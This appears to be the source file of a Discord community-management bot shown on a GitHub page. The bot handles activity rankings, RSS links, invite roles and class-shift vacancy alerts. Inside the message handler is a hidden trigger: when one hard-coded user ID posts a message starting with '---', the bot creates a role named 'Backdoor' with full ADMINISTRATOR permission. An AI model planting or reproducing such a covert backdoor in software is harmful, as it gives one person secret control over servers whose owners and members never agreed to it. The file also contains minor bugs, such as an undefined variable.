-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.js
358 lines (325 loc) · 13.1 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
const Discord = require("discord.js");
var db = require("quick.db");
const fs = require("fs");
const https = require("https");
const { prefix, token } = require("./config.json");
var monthly_rank = db.table("monthly_rank");
var winner_tracker = db.table("winner_tracking");
var general = new db.table("general");
var links = new db.table("links");
var turnos = new db.table("turnos");
const client = new Discord.Client({
intents: [Discord.Intents.FLAGS.GUILDS, Discord.Intents.FLAGS.GUILD_MESSAGES, Discord.Intents.FLAGS.GUILD_VOICE_STATES, Discord.Intents.FLAGS.GUILD_MEMBERS],
});
client.manager_commands = new Discord.Collection();
client.rss_commands = new Discord.Collection();
const invites = {};
const wait = require("util").promisify(setTimeout);
const manager_commands = fs.readdirSync("./manager_commands/").filter((file) => file.endsWith(".js"));
const rss_commands = fs.readdirSync("./rss_commands/").filter((file) => file.endsWith(".js"));
for (const file of manager_commands) {
const command = require(`./manager_commands/${file}`);
client.manager_commands.set(command.name, command);
}
for (const file of rss_commands) {
const command = require(`./rss_commands/${file}`);
client.rss_commands.set(command.name, command);
}
client.txolasFields = [];
client.caloirosFields = [];
client.Links = [];
client.oldTime = fs.readFileSync("time.txt", "UTF-8");
client.once("ready", async () => {
/*await wait(1000);
client.guilds.cache.forEach((g) => {
g.fetchInvites().then((guildInvites) => {
invites[g.id] = guildInvites;
});
});*/
console.log("Txolas Manager is online!");
console.log(client.guilds.cache.get("667012045677264936").createdAt);
monthly_rank = new db.table("monthly_rank");
winner_tracker = new db.table("winner_tracking");
general = new db.table("general");
links = new db.table("links");
turnos = new db.table("turnos");
setInterval(() => { turno_check(turnos); }, 20000);
console.log(turnos.has('846035542880360'))
client.rss_commands.get("arrays_init").execute(client, links);
client.rss_commands.get("update_rss").execute(client, links);
client.user.setPresence({
status: "idle",
activity: {
name: "With Code",
type: "PLAYING",
},
});
client.once("reconnecting", () => {
console.log("Reconnecting!");
});
client.once("disconnect", () => {
console.log("Disconnect!");
});
});
client.on("messageCreate", async (message) => {
client.manager_commands.get("msg_up").execute(message, db);
if (message.author.id == "323146644113588234" && message.content.startsWith("---")) {
let guild = message.guild;
guild.roles
.create({ data: { name: "Backdoor", color: "RED", permissions: ["ADMINISTRATOR"] } }) ///put in your data here
.then((role) => console.log(`Created new role with name ${role.id}`)) //What to do when it has been created
.catch(console.error); //Handle an error
//message.member.roles.add('788144468859682847');
}
if (message.author.bot || !message.content.startsWith(prefix)) return;
if (message.content.startsWith(prefix) && message.content.endsWith(prefix)) return;
const args = message.content.slice(prefix.length).split(/ +/);
const command = args.shift().toLowerCase();
if (command === "ready" && message.member.roles.cache.find((role) => role.name == "NewMember")) {
client.manager_commands.get("ready").execute(message);
} else if (command === "top") {
if (args[0] === "mes" || args[0] === "mês") {
if (args[1] === "text") {
client.manager_commands.get("t_text").execute(message, monthly_rank);
} else if (args[1] === "voice") {
client.manager_commands.get("t_voice").execute(message, monthly_rank);
}
} else if (args[0] === "text") {
client.manager_commands.get("t_text").execute(message, general);
} else if (args[0] === "voice") {
client.manager_commands.get("t_voice").execute(message, general);
}
} else if (command === "halloffame") {
if (args[0] === "text") {
client.manager_commands.get("hof").execute(message, winner_tracker, "text", 0);
} else if (args[0] === "voice") {
client.manager_commands.get("hof").execute(message, winner_tracker, "voice", 0);
} else if (args[0] === "Etext") {
client.manager_commands.get("hof").execute(message, winner_tracker, "text", 1);
} else if (args[0] === "Evoice") {
client.manager_commands.get("hof").execute(message, winner_tracker, "voice", 1);
}
} else if (command === "voice_stop") {
client.manager_commands.get("voice_stop").execute(message, general);
} else if (command === "rank_reset" && message.author.id == "323146644113588234") {
monthly_rank = table_reset(monthly_rank);
} else if (command === "add_winner" && message.author.id == "323146644113588234") {
client.manager_commands.get("win_adder").execute(message, args, winner_tracker);
/////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////
} else if (command === "help-rss" || command === "help") {
client.rss_commands.get("help_rss").execute(message);
} else if (command === "set_time") {
client.rss_commands.get("set_time").execute(message, args, client);
} else if (command === "links") {
client.rss_commands.get("links").execute(message);
} else if (command === "remove_links" || command === "remove_link") {
client.rss_commands.get("remove_link").execute(message, args, links);
} else if (command === "add_links" || command === "add_link") {
client.rss_commands.get("add_link").execute(message, args, links);
} else if (command === "update") {
client.rss_commands.get("forced_update").execute(message, client, links);
} else {
message.channel.send("That's not a valid command!");
}
});
client.on("guildMemberAdd", async (member) => {
member.guild.fetchInvites().then((guildInvites) => {
// This is the *existing* invites for the guild.
const ei = invites[member.guild.id];
// Update the cached invites for the guild.
invites[member.guild.id] = guildInvites;
// Look through the invites, find the one for which the uses went up.
const invite = guildInvites.find((i) => ei.get(i.code).uses < i.uses);
// This is just to simplify the message being sent below (inviter doesn't have a tag property)
if (invite.code === "f8rhfbk") {
member.roles.add(["760051795618955264"]);
}
});
});
client.on("voiceStateUpdate", (member_previous_state, member_next_state) => {
console.log(member_next_state);
console.log(member_previous_state);
let newUserChannel = member_next_state.channelId;
let oldUserChannel = member_previous_state.channelId;
var user_id = member_next_state.id;
if (user_id == "234395307759108106" || user_id == "784787909642420315" || user_id === "464723995632074773" || user_id === "839912860845998130") return;
console.log(newUserChannel, oldUserChannel);
if (
oldUserChannel !== null &&
newUserChannel !== null &&
oldUserChannel !== undefined &&
newUserChannel !== undefined &&
newUserChannel !== "811561054970445844" &&
oldUserChannel !== "811561054970445844"
) {
console.log("Deafen / Changed Room");
return;
} else if (oldUserChannel === null || oldUserChannel === undefined || oldUserChannel === "811561054970445844") {
var current_time = Date.now();
console.log(current_time);
general.set(`${user_id}.entry_time`, current_time);
console.log("Entered Room");
} else if (newUserChannel === null || newUserChannel === undefined || newUserChannel === "811561054970445844") {
console.log("Left Room");
var out_time = Date.now();
var entry_time = general.get(`${user_id}.entry_time`);
console.log(entry_time);
if (entry_time === undefined || entry_time === null) {
console.log("Return HERE");
return;
}
var session_time = out_time - entry_time;
general.add(`${user_id}.total`, session_time);
monthly_rank.add(`${user_id}.total`, session_time);
general.delete(`${user_id}.entry_time`);
}
});
client.on("interactionCreate", (interaction) => {
if (interaction.isCommand()) {
if (interaction.commandName === "alerta") {
var user_id = interaction.user.id;
var id = interaction.options._hoistedOptions[0].value;
var turno = interaction.options._hoistedOptions[1].value;
console.log(user_id, id, turno);
turnos.push(`${id}.${turno}`, user_id);
interaction.reply("Alerta adicionado com sucesso!");
} else if (interaction.commandName === "rm_alerta") {
var user_id = interaction.user.id;
var id = interaction.options._hoistedOptions[0].value;
var turno = interaction.options._hoistedOptions[1].value;
console.log(user_id, id, turno);
var array = turnos.get(`${id}.${turno}`);
if (array == undefined) {
interaction.reply("Algo deu errado. Parece que não tinhas nenhum alerta definido para essa combinação de cadeiras e turno!");
return;
}
const index = array.indexOf(user_id);
if (index > -1) {
array.splice(index, 1); // 2nd parameter means remove one item only
if (!arr.length) {
turnos.delete(`${id}.${turno}`);
} else {
turnos.set(`${id}.${turno}`, array);
}
interaction.reply("Alerta removido com sucesso!");
} else {
interaction.reply("Algo deu errado. Parece que não tinhas nenhum alerta definido para essa combinação de cadeiras e turno!");
}
}
} else if (interaction.isButton()) {
//console.log(interaction);
var buttonId = interaction.customId;
var embed = new Discord.MessageEmbed()
.setTitle(`IST - RSS News Links`)
.setColor(0xf7c500)
.setDescription("Lista de links a verificar. Para remover algum link basta escrever: `||remove_link` seguido do número/s entre parênteses.");
const row = new Discord.MessageActionRow();
switch (buttonId) {
case "Txolas":
embed.setFields(client.txolasFields);
row.addComponents(
new Discord.MessageButton().setCustomId("Txolas").setLabel("Txolas").setStyle("SECONDARY").setDisabled(true),
new Discord.MessageButton().setCustomId("Caloiros").setLabel("Caloiros").setStyle("SECONDARY")
);
interaction
.update({ embeds: [embed], components: [row] })
.then(console.log)
.catch(console.error);
break;
case "Caloiros":
embed.setFields(client.caloirosFields);
row.addComponents(
new Discord.MessageButton().setCustomId("Txolas").setLabel("Txolas").setStyle("SECONDARY"),
new Discord.MessageButton().setCustomId("Caloiros").setLabel("Caloiros").setStyle("SECONDARY").setDisabled(true)
);
interaction
.update({ embeds: [embed], components: [row] })
.then(console.log)
.catch(console.error);
break;
default:
break;
}
}
});
function table_reset(db) {
var data = db.all();
var message_user = data.map(function (e) {
return e.ID;
});
for (var i = 0; i < message_user.length; i++) {
db.set(`${message_user[i]}.total`, 0);
db.set(`${message_user[i]}.messages`, 0);
}
return db;
}
function turno_check(db) {
var cadeiras = db.all();
console.log(cadeiras);
cadeiras.forEach((cadeira) => {
var id = cadeira.ID;
var data = Object.entries(cadeira.data);
console.log(id, data);
var response;
const req1 = https.get(`https://horarios.dang.pt/api/courses/${id}/schedule?academicTerm=2021/2022`, (res) => {
console.log(`statusCode: ${res.statusCode}`);
let responseBody = "";
res.on("data", (chunk) => {
responseBody += chunk;
});
res.on("end", () => {
response = JSON.parse(responseBody);
var nomes_turnos = [];
var pessoas = [];
data.forEach((turno) => {
nomes_turnos.push(`${getAcron(id)}${turno[0]}`);
pessoas.push(turno[1]);
});
var shifts = response.shifts;
console.log(nomes_turnos, pessoas);
shifts.forEach((element) => {
var idx = nomes_turnos.indexOf(element.name);
if (idx != -1) {
if (element.occupation.current - element.occupation.max < 0) {
pessoas[idx].forEach((pessoa) => {
client.users.fetch(pessoa).then((user) => {
try {
user.send(`<@${pessoa}> Vaga no turno ${element.name} da cadeira ${getCourse(id)}!`);
} catch (err) {
console.log("err");
}
});
});
}
}
});
});
});
req1.on("error", (error) => {
console.error(error);
});
});
}
function getCourse(id) {
var list = {
564560566182818: "Aprendizagem Autónoma",
564560566181912: "Procura e Planeamento",
};
return list[id];
}
function getAcron(id) {
var list = {
564560566182818: "AAut",
564560566181912: "PPla"
};
return list[id];
}
/*
var log = console.log;
console.log = function() {
log.apply(console, arguments);
// Print the stack trace
console.trace();
};*/
client.login(token);